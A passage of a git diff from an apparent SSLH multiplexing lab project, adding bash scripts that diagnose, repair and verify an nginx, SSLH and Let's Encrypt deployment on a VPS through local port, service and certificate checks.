echo "SSL certificate paths in nginx config:"
grep -E "ssl_certificate|ssl_certificate_key" /etc/nginx/sites-available/sslh-proxy || echo "No SSL certificate directives found"
echo ""
echo "Verifying certificate files exist:"
cert_path=$(grep "ssl_certificate " /etc/nginx/sites-available/sslh-proxy | awk '{print $2}' | tr -d ';' | head -1)
key_path=$(grep "ssl_certificate_key " /etc/nginx/sites-available/sslh-proxy | awk '{print $2}' | tr -d ';' | head -1)
if [ -n "$cert_path" ]; then
if [ -f "$cert_path" ]; then
echo " Certificate file EXISTS: $cert_path"
else
echo " ERROR: Certificate file MISSING: $cert_path"
fi
fi
if [ -n "$key_path" ]; then
if [ -f "$key_path" ]; then
echo " Key file EXISTS: $key_path"
else
echo " ERROR: Key file MISSING: $key_path"
fi
fi
fi
echo ""
echo "=== 4. Service Status ==="
echo "--- SSLH Service ---"
systemctl status sslh --no-pager -l | head -15 || true
echo ""
if systemctl is-active --quiet sslh; then
echo "SSLH is RUNNING"
echo "SSLH process:"
ps aux | grep sslh | grep -v grep || echo "No sslh process found"
echo ""
echo "SSLH listening ports:"
ss -tlnp | grep sslh || echo "No sslh listening ports found"
else
echo "SSLH is NOT RUNNING"
echo "Recent SSLH logs:"
journalctl -u sslh -n 30 --no-pager || true
fi
echo ""
echo "--- Nginx Service ---"
systemctl status nginx --no-pager -l | head -15 || true
echo ""
if systemctl is-active --quiet nginx; then
echo "Nginx is RUNNING"
echo "Nginx listening ports:"
ss -tlnp | grep nginx || echo "No nginx listening ports found"
else
echo "Nginx is NOT RUNNING"
echo "Recent Nginx logs:"
journalctl -u nginx -n 30 --no-pager || true
fi
echo ""
echo "--- SSH Service ---"
systemctl status sshd --no-pager -l | head -10 || true
echo ""
echo "=== 5. Connectivity Tests ==="
echo "--- Testing Nginx on port 8444 (HTTPS) ---"
if timeout 3 curl -k -v https://127.0.0.1:8444/ 2>&1 | head -20; then
echo "Nginx HTTPS (8444): RESPONDING"
else
echo "Nginx HTTPS (8444): NOT RESPONDING or ERROR"
fi
echo ""
echo "--- Testing Nginx on port 80 (HTTP) ---"
if timeout 3 curl -v http://127.0.0.1:80/ 2>&1 | head -20; then
echo "Nginx HTTP (80): RESPONDING"
else
echo "Nginx HTTP (80): NOT RESPONDING or ERROR"
fi
echo ""
echo "--- Testing SSLH -> Nginx connection ---"
if timeout 2 bash -c '</dev/tcp/127.0.0.1/8444' 2>/dev/null; then
echo "SSLH can reach Nginx on 8444: YES"
else
echo "SSLH can reach Nginx on 8444: NO (connection refused)"
fi
echo ""
echo "--- Testing SSLH on port 443 ---"
if timeout 3 bash -c 'echo | openssl s_client -connect 127.0.0.1:443 -servername localhost 2>&1' | head -30; then
echo "SSLH port 443: RESPONDING"
else
echo "SSLH port 443: NOT RESPONDING or ERROR"
fi
echo ""
echo "=== 6. Systemd Override for SSLH ==="
if [ -f /etc/systemd/system/sslh.service.d/override.conf ]; then
echo "SSLH systemd override EXISTS:"
cat /etc/systemd/system/sslh.service.d/override.conf
else
echo "SSLH systemd override: NOT FOUND"
fi
echo ""
echo "=== 7. Cloud-init Logs (Last 50 lines) ==="
if [ -f /var/log/cloud-init.log ]; then
tail -50 /var/log/cloud-init.log
else
echo "Cloud-init log not found"
fi
echo ""
echo "=== 8. All Listening Ports ==="
ss -tlnp | grep LISTEN
echo ""
echo "=========================================="
echo "Diagnostics Complete"
echo "=========================================="

414
scripts/fix_deployment.sh Executable file
View File

@@ -0,0 +1,414 @@
#!/bin/bash
# Fix script for current deployment issues
# Run this on the VPS to fix nginx configs, SSLH, and Let's Encrypt
set -e
# Don't exit on errors for some commands - we want to continue fixing
set +e
echo "=========================================="
echo "Fixing Deployment Issues"
echo "=========================================="
echo ""
echo "=== Step 1: Ensuring Demo Page Exists ==="
mkdir -p /var/www/demo
chown -R www-data:www-data /var/www/demo 2>/dev/null || chown -R nginx:nginx /var/www/demo 2>/dev/null || true
if [ ! -f /var/www/demo/index.html ]; then
cat > /var/www/demo/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Demo App Page</title>
<meta charset="utf-8">
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
}
.container {
text-align: center;
padding: 2rem;
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
backdrop-filter: blur(10px);
}
h1 {
margin: 0;
font-size: 3rem;
}
</style>
</head>
<body>
<div class="container">
<h1>Demo app page</h1>
</div>
</body>
</html>
HTML
echo "Created demo page"
else
echo "Demo page already exists"
fi
echo ""
echo "=== Step 2: Creating Nginx Configuration Files ==="
mkdir -p /etc/nginx/sites-available
# Create sslh-proxy config
cat > /tmp/sslh-proxy.conf <<'EOF'
# Default server for root domain (HTTPS on port 443 via SSLH)
server {
listen 127.0.0.1:8444 ssl http2 default_server;
server_name _;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
EOF
mv /tmp/sslh-proxy.conf /etc/nginx/sites-available/sslh-proxy
chmod 644 /etc/nginx/sites-available/sslh-proxy
echo "Created /etc/nginx/sites-available/sslh-proxy"
# Create acme-challenge config
cat > /tmp/acme-challenge.conf <<'EOF'
# HTTP server for Let's Encrypt ACME challenge
server {
listen 0.0.0.0:80 default_server;
listen [::]:80 default_server;
server_name _;
# Serve ACME challenge for Let's Encrypt
location /.well-known/acme-challenge/ {
root /var/www/html;
default_type text/plain;
access_log off;
}
# For root domain, serve demo page on HTTP
location / {
root /var/www/demo;
try_files $uri $uri/ /index.html;
}
}
EOF
mv /tmp/acme-challenge.conf /etc/nginx/sites-available/acme-challenge
chmod 644 /etc/nginx/sites-available/acme-challenge
echo "Created /etc/nginx/sites-available/acme-challenge"
echo ""
echo "=== Step 3: Stopping Nginx and Removing Default Configs ==="
systemctl stop nginx 2>/dev/null || true
rm -f /etc/nginx/sites-enabled/default
rm -f /etc/nginx/sites-enabled/default.conf
rm -f /etc/nginx/sites-enabled/000-default
rm -f /etc/nginx/sites-enabled/000-default.conf
rm -f /etc/nginx/conf.d/default.conf 2>/dev/null || true
rm -f /usr/share/nginx/html/index.html /var/www/html/index.html 2>/dev/null || true
echo "Removed default nginx configs and HTML files"
echo ""
echo "=== Step 4: Enabling Nginx Sites ==="
ln -sf /etc/nginx/sites-available/acme-challenge /etc/nginx/sites-enabled/acme-challenge
ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/sslh-proxy
echo "Enabled nginx sites"
echo ""
echo "=== Step 5: Testing Nginx Configuration ==="
nginx -t || { echo "ERROR: Nginx configuration test failed!"; exit 1; }
echo ""
echo "=== Step 6: Fixing SSLH Configuration ==="
# Remove the problematic /etc/default/sslh
rm -f /etc/default/sslh
echo "Removed /etc/default/sslh"
# Create systemd override
mkdir -p /etc/systemd/system/sslh.service.d
cat > /tmp/sslh-override.conf <<'EOF'
[Service]
EnvironmentFile=
ExecStart=
ExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg
EOF
mv /tmp/sslh-override.conf /etc/systemd/system/sslh.service.d/override.conf
chmod 644 /etc/systemd/system/sslh.service.d/override.conf
echo "Created SSLH systemd override"
# Reload systemd
systemctl daemon-reload
echo "Reloaded systemd"
echo ""
echo "=== Step 7: Restarting Services ==="
systemctl restart nginx
sleep 2
# Verify nginx is listening on 8444
for i in 1 2 3 4 5; do
if ss -tlnp | grep -q ':8444 '; then
echo "Nginx is listening on port 8444"
break
fi
echo "Waiting for nginx to listen on 8444... (attempt $i/5)"
sleep 2
if [ $i -eq 5 ]; then
echo "ERROR: Nginx failed to listen on port 8444!"
systemctl status nginx --no-pager || true
exit 1
fi
done
# Restart SSLH
systemctl stop sslh 2>/dev/null || true
pkill -9 sslh sslh-select 2>/dev/null || true
ss -tlnp | grep -q ':443 ' && fuser -k 443/tcp 2>/dev/null || true
sleep 2
systemctl enable sslh
systemctl restart sslh
sleep 3
if systemctl is-active --quiet sslh; then
echo "SSLH service is running"
if ss -tlnp | grep -q ':443 '; then
echo "SSLH is listening on port 443"
else
echo "WARNING: SSLH is running but not listening on port 443"
fi
else
echo "ERROR: SSLH service failed to start!"
systemctl status sslh --no-pager || true
journalctl -u sslh -n 20 --no-pager || true
exit 1
fi
echo ""
echo "=== Step 8: Verifying Services ==="
echo "Listening ports:"
ss -tlnp | grep -E ':(22|80|443|8444|445) ' || true
echo ""
echo "=== Step 9: Testing Connectivity ==="
if timeout 2 bash -c '</dev/tcp/127.0.0.1/8444' 2>/dev/null; then
echo "SUCCESS: Nginx is accessible on port 8444"
else
echo "ERROR: Nginx is not accessible on port 8444"
fi
if ss -tlnp | grep -q ':443 '; then
echo "SUCCESS: SSLH is listening on port 443"
else
echo "ERROR: SSLH is not listening on port 443"
fi
echo ""
echo "=== Step 10: Testing HTTP and HTTPS ==="
echo "Testing HTTP (port 80):"
HTTP_CONTENT=$(timeout 3 curl -s http://127.0.0.1:80/ 2>&1)
if echo "$HTTP_CONTENT" | grep -q "Demo app page"; then
echo "SUCCESS: HTTP serves demo page"
elif echo "$HTTP_CONTENT" | grep -qi "Welcome to nginx"; then
echo "ERROR: HTTP still serving default nginx page!"
echo "HTTP content preview:"
echo "$HTTP_CONTENT" | head -5
echo "Checking enabled sites..."
ls -la /etc/nginx/sites-enabled/
else
echo "WARNING: HTTP may not be serving demo page correctly"
echo "$HTTP_CONTENT" | head -5
fi
echo "Testing HTTPS (port 8444):"
HTTPS_CONTENT=$(timeout 3 curl -k -s https://127.0.0.1:8444/ 2>&1)
if echo "$HTTPS_CONTENT" | grep -q "Demo app page"; then
echo "SUCCESS: HTTPS serves demo page"
elif echo "$HTTPS_CONTENT" | grep -qi "Welcome to nginx"; then
echo "ERROR: HTTPS still serving default nginx page!"
echo "HTTPS content preview:"
echo "$HTTPS_CONTENT" | head -5
else
echo "WARNING: HTTPS may not be serving demo page correctly"
echo "$HTTPS_CONTENT" | head -5
fi
echo ""
echo "=== Step 11: Final Verification ==="
echo "Nginx enabled sites:"
ls -la /etc/nginx/sites-enabled/ || true
echo ""
echo "Nginx listening ports:"
ss -tlnp | grep nginx || true
echo ""
echo "SSLH status:"
systemctl is-active sslh && echo "SSLH: RUNNING" || echo "SSLH: NOT RUNNING"
echo ""
echo "=== Step 11: DNS Verification ==="
if [ -n "$DOMAIN" ]; then
echo "Verifying DNS resolution for $DOMAIN..."
if nslookup $DOMAIN >/dev/null 2>&1; then
RESOLVED_IP=$(nslookup $DOMAIN | grep -A 1 "Name:" | grep "Address:" | tail -1 | awk '{print $2}' || echo "")
if [ -n "$RESOLVED_IP" ]; then
echo "$DOMAIN resolves to $RESOLVED_IP"
else
echo "$DOMAIN resolves (IP not extracted)"
fi
else
echo "$DOMAIN does not resolve"
echo " This may indicate DNS records are not properly configured"
fi
# Test common subdomains
for subdomain in ssh smb; do
FQDN="$subdomain.$DOMAIN"
if nslookup $FQDN >/dev/null 2>&1; then
RESOLVED_IP=$(nslookup $FQDN | grep -A 1 "Name:" | grep "Address:" | tail -1 | awk '{print $2}' || echo "")
if [ -n "$RESOLVED_IP" ]; then
echo "$FQDN resolves to $RESOLVED_IP"
else
echo "$FQDN resolves"
fi
fi
done
else
echo "Skipping DNS verification (DOMAIN not set)"
fi
echo ""
echo "=== Step 12: Let's Encrypt Certificate Generation ==="
if [ -n "$LETSENCRYPT_EMAIL" ] && [ -n "$DOMAIN" ]; then
echo "Domain: $DOMAIN"
echo "Email: $LETSENCRYPT_EMAIL"
echo "Checking for existing DNS records to determine subdomains..."
# Build domain list - start with root domain
DOMAINS="$DOMAIN"
# Check which subdomains have DNS records (indicating they're configured)
for subdomain in ssh smb ldap ldaps rdp mysql postgres redis mongo vnc ftp ftps smtp smtps imap imaps pop3 pop3s; do
if nslookup $subdomain.$DOMAIN >/dev/null 2>&1; then
DOMAINS="$DOMAINS $subdomain.$DOMAIN"
echo " Found: $subdomain.$DOMAIN"
fi
done
echo "Domains to include in certificate: $DOMAINS"
# Build certbot command with all domains
CERTBOT_CMD="certbot certonly --webroot -n --agree-tos -m '$LETSENCRYPT_EMAIL'"
for domain in $DOMAINS; do
CERTBOT_CMD="$CERTBOT_CMD -d $domain"
done
CERTBOT_CMD="$CERTBOT_CMD -w /var/www/html --keep-until-expiring"
echo "Running certbot..."
echo "Command: $CERTBOT_CMD"
sudo $CERTBOT_CMD 2>&1 | tee /tmp/certbot-output.log
CERTBOT_EXIT=$?
if [ $CERTBOT_EXIT -eq 0 ]; then
# Find certificate directory
CERT_DIR=$(sudo certbot certificates 2>/dev/null | grep -A 5 'Certificate Name:' | grep 'Certificate Path:' | head -1 | awk '{print $3}' | xargs dirname 2>/dev/null || echo '')
if [ -z "$CERT_DIR" ]; then
CERT_DIR="/etc/letsencrypt/live/$DOMAIN"
fi
if [ -f "$CERT_DIR/fullchain.pem" ] || [ -f "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" ]; then
CERT_PATH="$CERT_DIR/fullchain.pem"
KEY_PATH="$CERT_DIR/privkey.pem"
if [ ! -f "$CERT_PATH" ]; then
CERT_PATH="/etc/letsencrypt/live/$DOMAIN/fullchain.pem"
KEY_PATH="/etc/letsencrypt/live/$DOMAIN/privkey.pem"
fi
echo "Certificate found: $CERT_PATH"
echo "Updating nginx to use Let's Encrypt certificate..."
cat > /tmp/sslh-proxy-letsencrypt.conf <<EOF
server {
listen 127.0.0.1:8444 ssl http2 default_server;
server_name _;
ssl_certificate $CERT_PATH;
ssl_certificate_key $KEY_PATH;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
EOF
mv /tmp/sslh-proxy-letsencrypt.conf /etc/nginx/sites-available/sslh-proxy
chmod 644 /etc/nginx/sites-available/sslh-proxy
chmod 644 "$CERT_PATH" 2>/dev/null || true
chmod 640 "$KEY_PATH" 2>/dev/null || true
chown root:root "$CERT_PATH" "$KEY_PATH" 2>/dev/null || true
nginx -t && systemctl reload nginx && echo "SUCCESS: Nginx updated to use Let's Encrypt certificate" || systemctl restart nginx
echo "Certificate Subject Alternative Names:"
openssl x509 -in "$CERT_PATH" -noout -text 2>/dev/null | grep -A 1 'Subject Alternative Name' || true
else
echo "ERROR: Certificate file not found after certbot success"
echo "Checking certbot certificates:"
sudo certbot certificates 2>&1 | head -20
fi
else
echo "WARNING: Certbot failed (exit code: $CERTBOT_EXIT)"
echo "Certbot output (last 20 lines):"
cat /tmp/certbot-output.log 2>/dev/null | tail -20
echo "Continuing with self-signed certificate..."
fi
else
echo "Skipping Let's Encrypt (DOMAIN or LETSENCRYPT_EMAIL not set)"
echo "To enable: Run './sslh-lab fix --letsencrypt-email your@email.com' or set up during initial deployment"
fi
echo ""
echo "Certificate in use:"
grep -E 'ssl_certificate|ssl_certificate_key' /etc/nginx/sites-available/sslh-proxy 2>/dev/null || echo "No SSL directives found"
echo ""
echo "=== Step 13: Final Verification ==="
echo "Nginx enabled sites:"
ls -la /etc/nginx/sites-enabled/ || true
echo ""
echo "Nginx listening ports:"
ss -tlnp | grep nginx || true
echo ""
echo "SSLH status:"
systemctl is-active sslh && echo "SSLH: RUNNING" || echo "SSLH: NOT RUNNING"
echo ""
echo "=========================================="
echo "Fix Complete"
echo "=========================================="
echo ""
echo "If HTTPS still doesn't work externally, check:"
echo "1. DNS is pointing to this server"
echo "2. Firewall allows port 443"
echo "3. SSLH is listening on port 443 (check above)"
echo ""

210
scripts/verify_deployment.sh Executable file
View File

@@ -0,0 +1,210 @@
#!/bin/bash
# Comprehensive deployment verification script
# Run this on the VPS after setup to verify all services and configurations
set -e
echo "=========================================="
echo "SSLH Multiplex Lab - Deployment Verification"
echo "=========================================="
echo ""
echo "=== 1. System Information ==="
echo "Hostname: $(hostname)"
echo "IP Address: $(hostname -I | awk '{print $1}')"
echo "Uptime: $(uptime -p)"
echo ""
echo "=== 2. User Accounts ==="
echo "demouser exists: $(id demouser >/dev/null 2>&1 && echo 'YES' || echo 'NO')"
echo "testuser exists: $(id testuser >/dev/null 2>&1 && echo 'YES' || echo 'NO')"
echo ""
echo "=== 3. SSH Service ==="
if systemctl is-active --quiet sshd; then
echo "SSH service: RUNNING"
systemctl status sshd --no-pager -l | head -5
else
echo "SSH service: NOT RUNNING"
systemctl status sshd --no-pager -l || true
fi
echo "SSH listening on port 22: $(ss -tlnp | grep ':22 ' && echo 'YES' || echo 'NO')"
echo ""
echo "=== 4. Nginx Service ==="
if systemctl is-active --quiet nginx; then
echo "Nginx service: RUNNING"
systemctl status nginx --no-pager -l | head -5
else
echo "Nginx service: NOT RUNNING"
systemctl status nginx --no-pager -l || true
fi
echo "Nginx listening on port 8444: $(ss -tlnp | grep ':8444 ' && echo 'YES' || echo 'NO')"
echo "Nginx listening on port 80: $(ss -tlnp | grep ':80 ' && echo 'YES' || echo 'NO')"
echo ""
echo "=== 5. Nginx Configuration ==="
if [ -f /etc/nginx/sites-available/sslh-proxy ]; then
echo "sslh-proxy config: EXISTS"
echo "Config file size: $(wc -l < /etc/nginx/sites-available/sslh-proxy) lines"
if [ -L /etc/nginx/sites-enabled/sslh-proxy ]; then
echo "sslh-proxy config: ENABLED"
else
echo "sslh-proxy config: NOT ENABLED (symlink missing)"
fi
else
echo "sslh-proxy config: MISSING"
fi
if [ -f /etc/nginx/sites-available/acme-challenge ]; then
echo "acme-challenge config: EXISTS"
if [ -L /etc/nginx/sites-enabled/acme-challenge ]; then
echo "acme-challenge config: ENABLED"
else
echo "acme-challenge config: NOT ENABLED (symlink missing)"
fi
else
echo "acme-challenge config: MISSING"
fi
echo "Default nginx configs removed:"
[ -f /etc/nginx/sites-enabled/default ] && echo " WARNING: default still exists" || echo " OK: default removed"
[ -f /etc/nginx/sites-enabled/000-default ] && echo " WARNING: 000-default still exists" || echo " OK: 000-default removed"
[ -f /etc/nginx/conf.d/default.conf ] && echo " WARNING: conf.d/default.conf still exists" || echo " OK: conf.d/default.conf removed"
echo ""
echo "=== 6. Nginx Configuration Test ==="
if nginx -t 2>&1; then
echo "Nginx configuration: VALID"
else
echo "Nginx configuration: INVALID"
fi
echo ""
echo "=== 7. SSLH Service ==="
if systemctl is-active --quiet sslh; then
echo "SSLH service: RUNNING"
systemctl status sslh --no-pager -l | head -10
else
echo "SSLH service: NOT RUNNING"
echo "SSLH status:"
systemctl status sslh --no-pager -l || true
echo ""
echo "Recent SSLH logs:"
journalctl -u sslh -n 20 --no-pager || true
fi
echo "SSLH listening on port 443: $(ss -tlnp | grep ':443 ' && echo 'YES' || echo 'NO')"
echo ""
echo "=== 8. SSLH Configuration ==="
if [ -f /etc/sslh.cfg ]; then
echo "SSLH config file: EXISTS"
echo "Config file size: $(wc -l < /etc/sslh.cfg) lines"
echo "Config file contents:"
cat /etc/sslh.cfg
echo ""
else
echo "SSLH config file: MISSING"
fi
echo ""
echo "=== 9. Let's Encrypt Certificates ==="
if [ -d /etc/letsencrypt/live ]; then
echo "Let's Encrypt directory: EXISTS"
for domain_dir in /etc/letsencrypt/live/*/; do
if [ -d "$domain_dir" ]; then
domain=$(basename "$domain_dir")
echo " Domain: $domain"
if [ -f "$domain_dir/fullchain.pem" ]; then
echo " fullchain.pem: EXISTS ($(stat -c%s "$domain_dir/fullchain.pem") bytes)"
else
echo " fullchain.pem: MISSING"
fi
if [ -f "$domain_dir/privkey.pem" ]; then
echo " privkey.pem: EXISTS ($(stat -c%s "$domain_dir/privkey.pem") bytes)"
else
echo " privkey.pem: MISSING"
fi
fi
done
else
echo "Let's Encrypt directory: NOT FOUND (using self-signed certificates)"
fi
echo ""
echo "=== 10. Demo Page ==="
if [ -d /var/www/demo ]; then
echo "Demo directory: EXISTS"
if [ -f /var/www/demo/index.html ]; then
echo "Demo page: EXISTS"
echo "Demo page content (first 5 lines):"
head -5 /var/www/demo/index.html
else
echo "Demo page: MISSING"
fi
else
echo "Demo directory: MISSING"
fi
echo ""
echo "=== 11. Local Service Tests ==="
echo "Testing HTTP (port 80):"
if curl -s http://127.0.0.1:80/ 2>&1 | head -1; then
echo " HTTP: RESPONDING"
else
echo " HTTP: NOT RESPONDING"
fi
echo "Testing HTTPS (port 8444):"
if curl -k -s https://127.0.0.1:8444/ 2>&1 | head -1; then
echo " HTTPS: RESPONDING"
else
echo " HTTPS: NOT RESPONDING"
fi
echo "Testing SSLH -> Nginx (port 443 -> 8444):"
if timeout 2 bash -c '</dev/tcp/127.0.0.1/8444' 2>/dev/null; then
echo " SSLH can reach Nginx: YES"
else
echo " SSLH can reach Nginx: NO (connection refused)"
fi
echo ""
echo "=== 12. SMB Service ==="
if systemctl is-active --quiet smbd 2>/dev/null || systemctl is-active --quiet samba 2>/dev/null; then
echo "SMB service: RUNNING"
else
echo "SMB service: NOT RUNNING"
fi
echo "SMB listening on port 445: $(ss -tlnp | grep ':445 ' && echo 'YES' || echo 'NO')"
echo ""
echo "=== 13. Firewall (UFW) ==="
if command -v ufw >/dev/null 2>&1; then
echo "UFW status:"
ufw status | head -10
else
echo "UFW: NOT INSTALLED"
fi
echo ""
echo "=== 14. Cloud-init Status ==="
if [ -f /var/lib/cloud/instance/boot-finished ]; then
echo "Cloud-init: COMPLETED"
if [ -f /var/log/cloud-init.log ]; then
echo "Last 10 lines of cloud-init.log:"
tail -10 /var/log/cloud-init.log
fi
else
echo "Cloud-init: STILL RUNNING"
fi
echo ""
echo "=== 15. Listening Ports Summary ==="
echo "All listening TCP ports:"
ss -tlnp | grep LISTEN | awk '{print $4}' | sort -u
echo ""
echo "=========================================="
echo "Verification Complete"
echo "=========================================="

1
sslh Submodule

Submodule sslh added at 86188cdd28